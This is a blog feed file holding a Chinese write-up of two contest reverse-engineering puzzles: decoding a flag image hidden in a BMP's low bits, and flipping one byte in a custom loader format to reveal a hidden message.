-
Notifications
You must be signed in to change notification settings - Fork 1
/
atom.xml
246 lines (133 loc) · 222 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>ChinaNuke的博客</title>
<link href="https://www.nuke666.cn/atom.xml" rel="self"/>
<link href="https://www.nuke666.cn/"/>
<updated>2022-02-12T10:14:41.000Z</updated>
<id>https://www.nuke666.cn/</id>
<author>
<name>ChinaNuke</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>Write-up | NeSE 丙组 202202</title>
<link href="https://www.nuke666.cn/2022/02/Write-up-for-NeSE-202202/"/>
<id>https://www.nuke666.cn/2022/02/Write-up-for-NeSE-202202/</id>
<published>2022-02-12T10:14:41.000Z</published>
<updated>2022-02-12T10:14:41.000Z</updated>
<content type="html"><![CDATA[<p>2022 年 2 月丙组月赛,黄队没有 pwn 手出题,所以硬着头皮做了 babybmp 和 wind0ws 两道逆向题,还挺好玩。</p><span id="more"></span><h2 id="babybmp"><a href="#babybmp" class="headerlink" title="babybmp"></a>babybmp</h2><p> 题目叫 baby 了也不算很难,搞清楚程序做了什么就可以,但是由于有个大聪明把 7 写成 0x111 然后搞了半天没有发现问题在哪,我不说他是谁,希望大家不要学我。</p><p> 程序文件名叫 bmpencrypt, 然后给了一张很好看的风景图片,名字为 dst.bmp ,所以看起来是把什么东西通过 bmpencrypt 程序加密得到了图片文件。下面是核心逻辑之前的一些准备代码,打开了 3 个图片文件,确定了 flag.bmp 和 src.bmp 的大小,为它们各自分配了缓冲区,把两个文件的内容全部拷贝到缓冲区中。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">flagBmp = fopen(<span class="string">"flag.bmp"</span>, <span class="string">"r"</span>);</span><br><span class="line">srcBmp = fopen(<span class="string">"src.bmp"</span>, <span class="string">"r"</span>);</span><br><span class="line">dstBmp = fopen(<span class="string">"dst.bmp"</span>, <span class="string">"w"</span>);</span><br><span class="line">fseek(flagBmp, <span class="number">0LL</span>, SEEK_END);</span><br><span class="line">fseek(srcBmp, <span class="number">0LL</span>, SEEK_END);</span><br><span class="line">flagLength = ftell(flagBmp);</span><br><span class="line">srcLength = ftell(srcBmp);</span><br><span class="line">flagBuf = (<span class="type">unsigned</span> __int8 *)<span class="built_in">malloc</span>(flagLength);</span><br><span class="line">srcBuf = (<span class="type">unsigned</span> __int8 *)<span class="built_in">malloc</span>(srcLength);</span><br><span class="line">fseek(flagBmp, <span class="number">0LL</span>, SEEK_SET);</span><br><span class="line">fseek(srcBmp, <span class="number">0LL</span>, SEEK_SET);</span><br><span class="line">fread(flagBuf, flagLength, <span class="number">1uLL</span>, flagBmp);</span><br><span class="line">fread(srcBuf, srcLength, <span class="number">1uLL</span>, srcBmp);</span><br></pre></td></tr></table></figure><p> 接下来就是核心的加密算法部分,先将 src 的位置指针设置为 54 ,然后遍历 flag 文件的每一个字节。通过循环结束后的 <code>fwrite</code> 函数调用我们可以得知 <code>srcBuf</code> 中就是最终要写入到 dst.bmp 文件的内容,那么我们可以关注循环体中对 <code>srcBuf</code> 缓冲区的修改,在一次循环中发生 4 次(我已在伪代码的注释中标出),计算一下 <code>srcPosa</code> 变量可知四次修改的分别是 <code>srcBuf[srcPos]</code> 、<code>srcBuf[srcPos + 1]</code> 、<code>srcBuf[srcPos + 2]</code> 、<code>srcBuf[srcPos + 3]</code> ,那么也就是说每一次循环处理 src 图片中连续的 4 个字节。</p><p> 然后看一下 4 次对 <code>srcBuf</code> 缓冲区赋值的来源,比较统一,都是把 <code>flagUChar</code> 变量和 <code>srcBuf</code> 缓冲区当前位置的值进行一些运算,基本上可以推测出 src 图像中的每 4 个字节包含 flag 图像中一个字节的信息。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">srcPos = <span class="number">54</span>;</span><br><span class="line"><span class="keyword">for</span> (flagPos = <span class="number">0</span>; flagLength > flagPos; ++flagPos )</span><br><span class="line">{</span><br><span class="line"> flagUChar = flagBuf[flagPos];</span><br><span class="line"> srcBuf[srcPos] = flagUChar & <span class="number">7</span> | srcBuf[srcPos] & <span class="number">0xF8</span>;<span class="comment">// 1: (flagUChar>>0)&0x0111</span></span><br><span class="line"> flagUChara = (<span class="type">int</span>)flagUChar >> <span class="number">3</span>;</span><br><span class="line"> srcPosa = srcPos + <span class="number">1</span>;</span><br><span class="line"> srcBuf[srcPosa] = flagUChara & <span class="number">3</span> | srcBuf[srcPosa] & <span class="number">0xFC</span>;<span class="comment">// 2: (flagUChar>>3)&0x0011</span></span><br><span class="line"> flagUCharb = (<span class="type">int</span>)flagUChara >> <span class="number">2</span>;</span><br><span class="line"> ++srcPosa;</span><br><span class="line"> srcBuf[srcPosa] = flagUCharb & <span class="number">1</span> | srcBuf[srcPosa] & <span class="number">0xFE</span>;<span class="comment">// 3: (flagUChar>>5)&0x0001</span></span><br><span class="line"> ++srcPosa;</span><br><span class="line"> srcBuf[srcPosa] = ((<span class="type">int</span>)flagUCharb >> <span class="number">1</span>) & <span class="number">3</span> | srcBuf[srcPosa] & <span class="number">0xFC</span>;<span class="comment">// 4: (flagUChar>>6)&0x0011</span></span><br><span class="line"> srcPos = srcPosa + <span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line">fwrite(srcBuf, srcLength, <span class="number">1uLL</span>, dstBmp); <span class="comment">// srcBuf -> dstBmp</span></span><br><span class="line"><span class="built_in">free</span>(flagBuf);</span><br><span class="line"><span class="built_in">free</span>(srcBuf);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br></pre></td></tr></table></figure><p> 我们来具体分析一下四次赋值具体发生了什么。首先第一次将 <code>flagUChar</code> 与 <code>7</code> (<code>0b00000111</code>) 进行按位与运算,也就是取其最低 3 位;然后把 <code>srcBuf[srcPos]</code> 与 <code>0xF8</code> (<code>0b11111100</code>) 进行按位与运算,也就是清空其最低 3 位。最后再把两部分结果进行按位或。第二次将 <code>flagUChar</code> 右移了 3 位,再跟 <code>3</code> (<code>0b00000011</code>) 进行按位与,第三次在前面的基础上再右移 2 位,相当于把 <code>flagUChar</code> 总共右移 5 位,与 <code>1</code> (<code>0b00000001</code>) 进行按位与,第四次在前面基础上再右移 1 位,也就是总共右移 6 位,跟 <code>3</code> (<code>0b00000011</code>) 进行按位与。要能够通过 src 图片还原出 flag 图片,那么四个字节的 <code>srcBuf</code> 缓冲区中必须包含一个字节的 <code>flagUChar</code> 的全部信息。</p><p> 我在下面列出了 4 次运算中两边各自保留下来的信息位,1 表示信息保留下来,0 表示信息被丢弃,同时左边还表示了 <code>flagUChar</code> 进行移位和按位与运算之后的结果,省略了前面应该补充的 0 。第一次运算中,<code>flagUChar</code> 保留了低 3 位,而 <code>srcBuf</code> 刚好清空了低 3 位,两者进行按位或,那么 <code>flagUChar</code> 最低三位的值就保存在 <code>srcBuf</code> 第一个字节的低三位中。第二次运算,<code>flagUChar</code> 右移三位然后保留最低两位,也就是保留下面标号为 4 和 5 的两位(要注意这两位现在在最低位上),而 <code>srcBuf</code> 刚好清空了最低两位,那么 <code>flagUChar</code> 的 4 和 5 两位的信息就保存在 <code>srcBuf</code> 第二个字节的最低两位中。后面两次以此类推,也都是刚好对应上。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1 2 3 4 5 6 7 81 2 3 4 5 6 7 8</span><br><span class="line">--------------------------------</span><br><span class="line">0 0 0 0 0 1 1 11 1 1 1 1 0 0 0</span><br><span class="line">0 0 0 1 11 1 1 1 1 1 0 0</span><br><span class="line">0 0 11 1 1 1 1 1 1 0</span><br><span class="line">1 1 1 1 1 1 1 1 0 0</span><br></pre></td></tr></table></figure><p> 那么问题就解决了,我们每次从 dst 图片中读取 4 个字节,分别从每个字节中提取 flag 图片一个字节不同位置的值,将它们组合起来,就可以得到 flag 图片了,以下为解密程序。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> {</span><br><span class="line"> <span class="comment">/* 模仿 bmpencrypt 程序进行类似的文件读取操作 */</span></span><br><span class="line"> FILE *fp_dst = fopen(<span class="string">"dst.bmp"</span>, <span class="string">"r"</span>);</span><br><span class="line"> FILE *fp_flag = fopen(<span class="string">"flag.bmp"</span>, <span class="string">"w"</span>);</span><br><span class="line"></span><br><span class="line"> fseek(fp_dst, <span class="number">0</span>, SEEK_END);</span><br><span class="line"> <span class="type">long</span> dst_length = ftell(fp_dst);</span><br><span class="line"> fseek(fp_dst, <span class="number">0</span>, SEEK_SET);</span><br><span class="line"> <span class="type">char</span> *flag_buf = <span class="built_in">malloc</span>(dst_length);</span><br><span class="line"> <span class="type">char</span> *dst_buf = <span class="built_in">malloc</span>(dst_length);</span><br><span class="line"> fread(dst_buf, dst_length, <span class="number">1</span>, fp_dst);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 每次读取 4 个字节,从中提取出 flag 图片一个字节的值。</span></span><br><span class="line"><span class="comment"> * 不知道 flag 图片是多长,但是没有关系 BMP 头里有图片长度的信息,不影响图片显示。</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="type">int</span> flag_pos = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> dst_pos = <span class="number">54</span>; dst_pos < dst_length; dst_pos += <span class="number">4</span>) {</span><br><span class="line"> <span class="type">char</span> flag_byte;</span><br><span class="line"> flag_byte = dst_buf[dst_pos] & <span class="number">0b111</span> |</span><br><span class="line"> (dst_buf[dst_pos + <span class="number">1</span>] & <span class="number">0b11</span>) << <span class="number">3</span> | </span><br><span class="line"> (dst_buf[dst_pos + <span class="number">2</span>] & <span class="number">0b1</span>) << <span class="number">5</span> |</span><br><span class="line"> (dst_buf[dst_pos + <span class="number">3</span>] & <span class="number">0b11</span>) << <span class="number">6</span>;</span><br><span class="line"> flag_buf[flag_pos++] = flag_byte;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> fwrite(flag_buf, flag_pos - <span class="number">1</span>, <span class="number">1</span>, fp_flag);</span><br><span class="line"> <span class="built_in">free</span>(dst_buf);</span><br><span class="line"> <span class="built_in">free</span>(flag_buf);</span><br><span class="line"> fclose(fp_dst);</span><br><span class="line"> fclose(fp_flag);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="wind0ws"><a href="#wind0ws" class="headerlink" title="wind0ws"></a>wind0ws</h2><p> 题目给了 <code>loader</code> 和 <code>flag_inside.exe</code> 两个文件,还有这样一段如下的提示,说需要用 <code>loader</code> 程序去加载 <code>flag_inside.exe</code> 程序,然后我们需要去逆向分析 <code>loader</code> 程序,只需要修改一个字节就可以把 flag 打印出来,但是没有说是修改哪个程序。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Usage : loader flag_inside.exe</span><br><span class="line"></span><br><span class="line">Reverse the loader to figure out the details of binary file -- 'flag_inside'</span><br><span class="line"></span><br><span class="line">Modify one byte to get flag printed</span><br><span class="line"></span><br><span class="line">flag{.......}</span><br></pre></td></tr></table></figure><p> 其中 <code>loader</code> 是一个 64 位的 ELF 可执行程序,而 <code>flag_inside.exe</code> 显示是一个 <code>MS-DOS</code> 可执行程序。但是在将 <code>flag_inside.exe</code> 拖进 IDA Pro 时它提示这是一个 “packed” 程序,加载之后并没有显示出什么程序信息,可能这是一个加壳的程序,或者这可能压根不是个可执行程序只是伪造了一个文件头,没有关系我们直接以 binary file 加载看看(在 “Load a new file” 窗口选择 “Binary file” 而不是 “MS-DOS executable(EXE)”)。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">$ file loader</span><br><span class="line">loader: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=617291874ad36461d9b439abf71e53a9d4df8fe0, for GNU/Linux 4.4.0, not stripped</span><br><span class="line">$ file flag_inside.exe</span><br><span class="line">flag_inside.exe: MS-DOS executable</span><br></pre></td></tr></table></figure><p> 按照提示运行,得到下面的输出。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">$ ./loader flag_inside.exe</span><br><span class="line">[Name]: hello.exe</span><br><span class="line">[Info]: compiled by AUx</span><br><span class="line">[Build]: bili:672328094</span><br><span class="line">Hellow world</span><br><span class="line"> </span><br><span class="line"> _ _ _____ _ _______ _____ _____ </span><br><span class="line"> </span><br><span class="line"> | | | |_ _| \ | | _ \ _ / ___|</span><br><span class="line"> </span><br><span class="line"> | | | | | | | \| | | | | |/' \ `--. </span><br><span class="line"> </span><br><span class="line"> | |/\| | | | | . ` | | | | /| |`--. \</span><br><span class="line"> </span><br><span class="line"> \ /\ /_| |_| |\ | |/ /\ |_/ /\__/ /</span><br><span class="line"> </span><br><span class="line"> \/ \/ \___/\_| \_/___/ \___/\____/ </span><br></pre></td></tr></table></figure><p> 首先分析 <code>loader</code> 程序,逻辑还是比较复杂的。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">{</span><br><span class="line"> ...</span><br><span class="line"> file_hdr *some_hdr; <span class="comment">// [rsp+30h] [rbp-10h]</span></span><br><span class="line"> entry_struct *entry_struct; <span class="comment">// [rsp+38h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (argc == <span class="number">2</span> )</span><br><span class="line"> {</span><br><span class="line"> filename = argv[<span class="number">1</span>];</span><br><span class="line"> fp = fopen(filename, <span class="string">"rb"</span>);</span><br><span class="line"> <span class="keyword">if</span> (fp)</span><br><span class="line"> {</span><br><span class="line"> start_pos = (<span class="type">unsigned</span> <span class="type">int</span>)locate_start(fp);<span class="comment">// integer at offset 60</span></span><br><span class="line"> fseek(fp, start_pos, SEEK_SET);</span><br><span class="line"> some_hdr = (file_hdr *)read_basic_info(fp);<span class="comment">// a struct, size:0x34</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[Name]: %s\n[Info]: %s\n[Build]: %s\n"</span>, some_hdr->name, some_hdr->info, some_hdr->build);</span><br><span class="line"> entry_num = some_hdr->entry_num;</span><br><span class="line"> <span class="keyword">if</span> (entry_num <= <span class="number">0x10</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; entry_num > i; ++i )</span><br><span class="line"> {</span><br><span class="line"> entry_struct = read_entry(fp); <span class="comment">// another struct with size 0xC, right after basic info</span></span><br><span class="line"> pos = ftell(fp);</span><br><span class="line"> run_section(fp, entry_struct);</span><br><span class="line"> fseek(fp, pos, <span class="number">0</span>); <span class="comment">// point to next entry struct</span></span><br><span class="line"> free_hdr(entry_struct);</span><br><span class="line"> }</span><br><span class="line"> free_hdr(some_hdr);</span><br><span class="line"> fclose(fp);</span><br><span class="line"> result = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 在伪代码中我已经定义好了两个结构体,它们的定义如下。这两个结构体的组成成分根据对后面各个函数的引用得出的,字段名字是根据代码中的字符串以及加上些许猜测得出的。在 IDA Pro 中可以打开 “Local Types” 窗口,按下 insert 键添加自定义的结构体声明,然后右击刚添加的结构体,点击 “Synchorize to idb” ,它就会被同步到 “Structures” 窗口中,然后我们就可以在修改变量类型时使用了。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">some_hdr</span> {</span></span><br><span class="line"> <span class="type">char</span> name[<span class="number">16</span>];</span><br><span class="line"> <span class="type">char</span> info[<span class="number">16</span>];</span><br><span class="line"> <span class="type">char</span> build[<span class="number">16</span>];</span><br><span class="line"> <span class="type">int</span> entry_num;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">entry_struct</span> {</span></span><br><span class="line"> <span class="type">char</span> ascii_or_code; <span class="comment">// 1 or 2</span></span><br><span class="line"> <span class="type">char</span> printout; <span class="comment">// 1 or 0</span></span><br><span class="line"> <span class="comment">// 2 bytes' padding</span></span><br><span class="line"> <span class="type">int</span> data_offset;</span><br><span class="line"> <span class="type">int</span> data_size;</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p> 程序在打开目标程序(文件)之后,首先调用了 <code>locate_start</code> 函数,从目标文件偏移量 60 处读取了 4 个字节的整数并返回,接着把它传递给 <code>fseek</code> 函数设置指针位置。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">locate_start</span><span class="params">(FILE *fp)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">unsigned</span> <span class="type">int</span> ptr; <span class="comment">// [rsp+14h] [rbp-Ch] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> fseek(fp, <span class="number">60LL</span>, <span class="number">0</span>);</span><br><span class="line"> fread(&ptr, <span class="number">1uLL</span>, <span class="number">4uLL</span>, fp); <span class="comment">// read a four bytes' integer from offset 60</span></span><br><span class="line"> <span class="keyword">return</span> ptr;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 通过在 <code>flag_inside.exe</code> 文件中查看偏移 60 处的值我们发现其定义的指针位置为 <code>0x100</code> 。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">seg000:0000003B db 0</span><br><span class="line">seg000:0000003C start_pos dd 100h</span><br><span class="line">seg000:00000040 db 0Eh</span><br><span class="line">seg000:00000041 db 1Fh</span><br></pre></td></tr></table></figure><p> 然后程序调用 <code>read_basic_info</code> 函数从这个偏移量处读取了 <code>0x34</code> 个字节。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> *__fastcall <span class="title function_">read_basic_info</span><span class="params">(FILE *fp)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">void</span> *ptr; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> ptr = new_hdr(<span class="number">0x34</span>uLL);</span><br><span class="line"> fread(ptr, <span class="number">1uLL</span>, <span class="number">0x34</span>uLL, fp);</span><br><span class="line"> <span class="keyword">return</span> ptr;</span><br><span class="line">}</span><br><span class="line"><span class="type">void</span> *__fastcall <span class="title function_">new_hdr</span><span class="params">(<span class="type">size_t</span> a1)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">void</span> *s; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> s = <span class="built_in">malloc</span>(a1);</span><br><span class="line"> <span class="built_in">memset</span>(s, <span class="number">0</span>, a1);</span><br><span class="line"> <span class="keyword">return</span> s;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 在这里简单介绍一下结构体的识别和分析,下面是未修改过的原始伪代码,可以看到 <code>read_basic_info</code> 函数的返回指针保存到了变量 <code>v10</code> ,使用 <code>printf</code> 函数打印出了其指向缓冲区的一些信息,通过 <code>printf</code> 的第一个参数可以知道 <code>v10</code> 、<code>v10 + 16</code> 、<code>v10 + 32</code> 处都是字符串,可以认为它们是字符数组,大小都是 16 ,且三个字段的名字也可以从中得知。在后面的代码中还有一处 <code>printf</code> 打印了变量 <code>off_4</code> 的值,我们可以从中得知它是一个 4 字节的整数类型,且其含义是 entries 的数量,从 <code>flag_inside.exe</code> 中可知其 entries 数量为 4, 这个数据在后面比较关键。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">v10 = read_basic_info(stream);</span><br><span class="line"><span class="built_in">printf</span>(</span><br><span class="line"> <span class="string">"[Name]: %s\n[Info]: %s\n[Build]: %s\n"</span>,</span><br><span class="line"> (<span class="type">const</span> <span class="type">char</span> *)v10,</span><br><span class="line"> (<span class="type">const</span> <span class="type">char</span> *)(v10 + <span class="number">16</span>),</span><br><span class="line"> (<span class="type">const</span> <span class="type">char</span> *)(v10 + <span class="number">32</span>));</span><br><span class="line">off_4 = *(_DWORD *)(v10 + <span class="number">48</span>);</span><br><span class="line">...</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Error, too many entries : %d\n"</span>, off_4);</span><br></pre></td></tr></table></figure><p> 当 entries 数量不大于 16 时,程序接着调用 <code>read_entry</code> 函数,从刚刚 basic info 之后的位置读取 0xC 个字节,保存到 <code>entry_struct</code> 结构体,结构体字段的识别分析不再赘述。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; entry_num > i; ++i )</span><br><span class="line">{</span><br><span class="line"> entry_struct = read_entry(fp); <span class="comment">// another struct with size 0xC, right after basic info</span></span><br><span class="line"> pos = ftell(fp);</span><br><span class="line"> run_section(fp, entry_struct);</span><br><span class="line"> fseek(fp, pos, <span class="number">0</span>); <span class="comment">// point to next entry struct</span></span><br><span class="line"> free_hdr(entry_struct);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">entry_struct *__fastcall <span class="title function_">read_entry</span><span class="params">(FILE *a1)</span></span><br><span class="line">{</span><br><span class="line"> entry_struct *ptr; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> ptr = (entry_struct *)new_hdr(<span class="number">0xC</span>uLL);</span><br><span class="line"> fread(ptr, <span class="number">1uLL</span>, <span class="number">0xC</span>uLL, a1);</span><br><span class="line"> <span class="keyword">return</span> ptr;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 最终我们来到关键的 <code>run_section</code> 函数,可以看到它根据 <code>entry_struct</code> 结构体的 <code>ascii_or_code</code> 字段决定要执行 <code>run_as_ascii_art</code> 函数还是 <code>run_as_code_section</code> 函数,而且 <code>printout</code> 字段会直接影响是否进行下面这些操作(实际上是控制是否打印出来)。<code>read_section</code> 函数根据结构体中的偏移量和大小将数据读取到 <code>bytes_buf</code> 全局变量中。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> __fastcall <span class="title function_">run_section</span><span class="params">(FILE *fp, entry_struct *entry_struct)</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (entry_struct->printout)</span><br><span class="line"> {</span><br><span class="line"> read_section(fp, entry_struct);</span><br><span class="line"> <span class="keyword">if</span> (entry_struct->ascii_or_code == <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> run_as_ascii_art();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (entry_struct->ascii_or_code == <span class="number">2</span> )<span class="comment">// currently selected</span></span><br><span class="line"> {</span><br><span class="line"> run_as_code_section();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"Unknown type"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="type">void</span> __fastcall <span class="title function_">read_section</span><span class="params">(FILE *fp, entry_struct *entry_struct)</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (entry_struct->data_size <= <span class="number">0x1000</span>u )</span><br><span class="line"> {</span><br><span class="line"> fseek(fp, (<span class="type">unsigned</span> <span class="type">int</span>)entry_struct->data_offset, SEEK_SET);</span><br><span class="line"> fread(bytes_buf, <span class="number">1uLL</span>, <span class="number">0x1000</span>uLL, fp);</span><br><span class="line"> }</span><br><span class="line">...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 其中 <code>run_as_ascii_art</code> 函数只是简单的将读入的数据作为字符串打印出来,控制了一下换行。<code>run_as_code_section</code> 函数逻辑很复杂,看起来像是个加密或者解密算法,但不需要分析所以没有贴出来。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">run_as_ascii_art</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> result; <span class="comment">// eax</span></span><br><span class="line"> <span class="type">signed</span> __int8 c; <span class="comment">// [rsp+7h] [rbp-9h]</span></span><br><span class="line"> <span class="type">int</span> i; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i <= <span class="number">4095</span>; ++i )</span><br><span class="line"> {</span><br><span class="line"> result = bytes_buf[i];</span><br><span class="line"> c = bytes_buf[i];</span><br><span class="line"> <span class="keyword">if</span> (!c)</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="built_in">putchar</span>(c);</span><br><span class="line"> result = i % <span class="number">61</span>;</span><br><span class="line"> <span class="keyword">if</span> (!(i % <span class="number">61</span>) )</span><br><span class="line"> result = <span class="built_in">putchar</span>(<span class="string">'\n'</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 从 <code>flag_inside.exe</code> 文件对应偏移位置我们可以看到 4 个 entries 各字段的值(此处可以结合结构体和数组进行定义)。分别到四个 entries 对应的 <code>data_offset</code> 查看数据内容,entry 3 和 entry 4 分别是一个组成了类似佛像和一个组成 Windows 字母的字符画,根据其 <code>ascii_or_code</code> 字段值得知它们通过 <code>run_as_ascii_art</code> 函数输出,但是 entry 3 的 <code>printout</code> 字段为 0 ,所以实际不会被输出,这与前面实际运行结果是一致的。那么如果 entry 1 对应的是在字符画之前输出的 “Hellow world” 字符串,那么 entry 2 可能就是我们要的 flag 了。所以最初提示的修改一个字节,可能就是需要我们修改 entry 2 的 printout 字节为 1 ,这样 entry 2 的数据就能被 <code>run_as_code_section</code> 函数解密并打印出来。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">seg000:00000134 db 2 ; ascii_or_code ; entry 1 </span><br><span class="line">seg000:00000134 db 1 ; printout</span><br><span class="line">seg000:00000134 db 2 dup(0)</span><br><span class="line">seg000:00000134 dd 1000h ; data_offset</span><br><span class="line">seg000:00000134 dd 1000h ; data_size</span><br><span class="line">seg000:00000140 db 2 ; ascii_or_code ; entry 2</span><br><span class="line">seg000:00000140 db 0 ; printout</span><br><span class="line">seg000:00000140 db 2 dup(0)</span><br><span class="line">seg000:00000140 dd 2000h ; data_offset</span><br><span class="line">seg000:00000140 dd 1000h ; data_size</span><br><span class="line">seg000:0000014C db 1 ; ascii_or_code ; entry 3</span><br><span class="line">seg000:0000014C db 0 ; printout</span><br><span class="line">seg000:0000014C db 0D8h, 24h</span><br><span class="line">seg000:0000014C dd 3000h ; data_offset</span><br><span class="line">seg000:0000014C dd 1000h ; data_size</span><br><span class="line">seg000:00000158 db 1 ; ascii_or_code ; entry 4</span><br><span class="line">seg000:00000158 db 1 ; printout</span><br><span class="line">seg000:00000158 db 2 dup(0)</span><br><span class="line">seg000:00000158 dd 4000h ; data_offset</span><br><span class="line">seg000:00000158 dd 1000h ; data_size</span><br></pre></td></tr></table></figure><p> 修改字节操作可以使用 IDA Pro 提供的 “Edit” -> “Patch program” -> “Change byte” ,但是似乎有一些问题,我改过来改回去最终有一部分修改并没有生效,最后直接用 <code>hexedit</code> 工具,定位到相应的偏移量直接进行修改。修改后再次运行,flag 被打印出来。</p><p>……所以这题跟 Windows 没有半点关系啊哈?</p>]]></content>
<summary type="html"><p>2022 年 2 月丙组月赛,黄队没有 pwn 手出题,所以硬着头皮做了 babybmp 和 wind0ws 两道逆向题,还挺好玩。</p></summary>
</entry>
<entry>
<title>Arch Linux 安装步骤记录</title>
<link href="https://www.nuke666.cn/2022/02/Install-arch-linux/"/>
<id>https://www.nuke666.cn/2022/02/Install-arch-linux/</id>
<published>2022-02-06T03:45:12.000Z</published>
<updated>2022-02-06T03:45:12.000Z</updated>
